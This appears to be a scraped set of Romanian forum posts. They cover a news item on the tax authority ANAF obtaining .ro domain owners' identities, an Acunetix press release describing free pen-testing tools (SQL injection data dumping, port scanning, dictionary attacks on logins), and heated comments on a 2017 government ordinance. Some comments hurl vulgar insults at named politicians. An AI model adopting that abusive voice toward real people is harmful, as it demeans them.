ANAF va primi datele de identificare ale proprietarilor de site-uri din România Institutul Naţional de Cercetare – Dezvoltare în Informatică (ICI) din Bucureşti, instituţie aflată în subordinea Ministerului Comunicaţiilor, a încheiat un acord cu Agenţia Naţională de Administrare Fiscală (ANAF) pentru a furniza datele de identificare ale deţinătorilor domeniilor cu extensia .ro, transmite News.ro. Foto: Agerpres În cadrul acestui acord, Fiscul va realiza o aplicaţie de interogare, în scopul obţinerii de informaţii despre proprietarul unui domeniu. „Menţionăm că Direcţia Generală Tehnologia Informaţiei din cadrul ANAF va asigura aplicatia informatică de interogare domeniu/vizualizare raspuns, în scopul obţinerii de informaţii despre proprietarul/proprietarii unui domeniu sau a unei liste de domenii de internet din România”, se arată în comunicat. Compartimentul de specialitate, RoTLD, din cadrul ICI Bucureşti, care administrează domeniile cu extensia .ro, va dezvolta un serviciu web prin care va transmite informaţiile către Fisc. Protocolul semnat are rol, în accepţiunea autorităţilor, în prevenirea si combaterea evaziunii şi fraudei fiscale. În Parlament, senatorii au respins recent un proiect care prevedea ca datele de contact ale persoanelor fizice ce deţin domenii web să fie prezentate public fără consimţământul acestora. Proiectul a fost respins după ce Guvernul a arătat că o astfel de măsură încalcă normele Uniunii Europene. Sursa: http://www.digi24.ro/stiri/economie/companii/anaf-va-primi-datele-de-identificare-ale-proprietarilor-de-site-uri-din-romania-669831

Acunetix Release Web Site Security Pen Testing Tools Free POSTED ON JANUARY 10, 2017 BY TAMARA NAUDI HTTP editor, fuzzer and sniffer tools help pen testers identify vulnerabilities London, UK – January 2016 – Hot on the release of Acunetix Version 11, pioneering web application security software Acunetix, now delivering Manual Pen Testing Tools at no cost. Penetration testers can make use of an HTTP Editor to modify or craft HTTP requests and analyze responses; intercept and modify HTTP traffic on the fly using the integrated HTTP Sniffer; fuzz test HTTP requests using the HTTP Fuzzer and test Blind SQL Injection vulnerabilities further using the Blind SQL Injector, among others. “Acunetix has for the past decade been an excellent resource in the pentester’s tool kit. Prior to Acunetix v11, these Manual Pen Testing Tools were only available to Acunetix Customers. By releasing our manual tools separately, we aim to facilitate veteran testers as well as up and coming security researchers by making it easy to manually test web applications for logical flaws among others,” added Nicholas Sciberras, CTO, Acunetix. HTTP Editor: Allows you to create, analyze and edit client HTTP requests; as well as inspect server responses. It also includes an encoding and decoding tool to encode/decode text and URL’s to MD5 hashes, UTF-7 and other formats. HTTP Sniffer: A proxy that allows you to analyze HTTP requests and responses, and edit these while they are in transit. The HTTP sniffer can also be used to manually crawl a site, and use the manual crawl to seed an Acunetix scan. HTTP Fuzzer: A tool which allows you to automatically send a large number of HTTP requests including invalid, unexpected and random data to a website, to test input validation and handling of invalid data by the web application. Blind SQL Injector: An automated database data exfiltration tool. By using Blind SQL injection vulnerabilities discovered when scanning a website, it is possible to demonstrate the serious impact a Blind SQL injection vulnerability can have on the website. Used to enumerate databases, tables, fields and dump data from the vulnerable web application. Subdomain Scanner: Scans a top-level domain to discover subdomains configured in its hierarchy, by using the target domain’s DNS server, or any other DNS server specified by the user. While scanning, this tool will also automatically identify and inform the user if the domain being scanned is using some kind of wildcard characters, such as *.domain.com. Target Finder: An IP range / port scanner which can be used to discover running web servers on a given IP or within a specified range of IPs. The list of ports on which the web servers are listening can also be configured. The default ports the scanner will scan are port 80 for HTTP and port 443 for SSL. Authentication Tester: Used to test the strength of both usernames and passwords within HTTP and web forms authentication environments via a dictionary attack. Download the FREE Manual Pen Testing Tools About Acunetix User-friendly and competitively priced, Acunetix leads the market in automatic web security testing technology that comprehensively scans and audits complex, authenticated, HTML5 and JavaScript-heavy websites among others. Acunetix detects over 3000 types of web application vulnerabilities and is the industry leader in detecting the largest variety of SQL injection and XSS vulnerabilities, including Out-of-band SQL injection and DOM-based XSS. Acunetix beats competing products in many areas; including speed, limiting false positives and the ability to access restricted areas with ease. Acunetix also has the most advanced detection of WordPress vulnerabilities and a wide range of management and regulatory reports including ISO 27001 and PCI compliance. Acunetix also includes integrated vulnerability management features to extend the enterprise’s ability to comprehensively manage, prioritise and control vulnerability threats. Acunetix is available on premises or as an online solution. Acunetix, the company Founded in 2004 to combat the alarming rise in web application attacks, Acunetix is the market leader, and a pioneer in automated web application security technology. Acunetix products and technologies are depended on globally by individual pen-testers and consultants all the way to large organizations. It is the tool of choice for many customers in the Government, Military, Educational, Telecommunications, Banking, Finance, and E-Commerce sectors, including many Fortune 500 companies, such as the Pentagon, Nike, Disney, Adobe and many more. Sursa: https://www.acunetix.com/blog/news/acunetix-release-web-site-security-pen-testing-tools-free/

Sunt de acord, ma astept la multe, dar deocamdata vreau sa fie anulata acea OUG. De asemenea mai vreau transparenta. Vreau sa stim si noi ce se intampla in tara, nu sa se dea OUG-uri noaptea, fara ca macar sa fie pe ordinea de zi. Poporul a ales acest Guvern pentru anumite promisiuni si acesta e Guvernul nostru. Sper sa inteleaga ca suntem cu ochii pe ei.

Nu avea cum sa nu desemneze premier de la PSD (sau ALDE) si nici cum sa evite PSD la guvernare. Cat despre "razboiul" de care vorbeste mancatorul de cacat, nu este cazul, nu Presedintele a adus oamenii in strada. Deci Muie Tariceanu. Edit: Legat de discutia cu Dragnea, e adevarat ce a spus el, Ordonanta "nu il scapa de proces". Procesul va continua insa el nu va fi gasit vinovat. Si uite asa a fraierit (nu mintit) milioane de oameni. E o tehnica de manipulare simpla: spui adevarul intr-o forma care lasa sa se inteleaga un anumit lucru insa de fapt e vorba de altceva. Info: Instigare la abuz in serviciu se incadreaza la abuz in serviciu. Prejudiciul este de vreo 120.000 RON ceea ce e mai putin de 200.000 RON. Iar procesul este in desfasurare, nu va fi o decizie retroactiva. Adica mustaciosul scapa de acest dosar.

Exista doua tipuri de modificari: 1. Modificare a Codului Penal - intra in vigoare in 10 zile 2. Modificare a Codului de Procedura Penala - Intra in vigoare la publicarea in Monitorul oficial Ordonanta pulii cuprinde atat modificari de la 1. cat si modificari de la 2. http://www.digi24.ro/opinii/ordonanta-de-marti-explicata-2-661815 Detaliat: https://blog.factual.ro/myth-busting-si-faq-dezbaterea-publica-despre-ordonante/

Pentru cei care nu inteleg: https://www.facebook.com/ioana.chitu.5/videos/10154591999362912/ Ceva amuzant: https://www.facebook.com/viceromania/videos/1462295087128108/?hc_ref=NEWSFEED

Cacat! Am uitat sa trec prin Tor PS: M-am uitat pe cateva filmari, se vad multe fete, dar NU recunosc pe nimeni din PCH (Peluza Catalin Hildan), desi din vedere ii stiu pe multi dintre ei.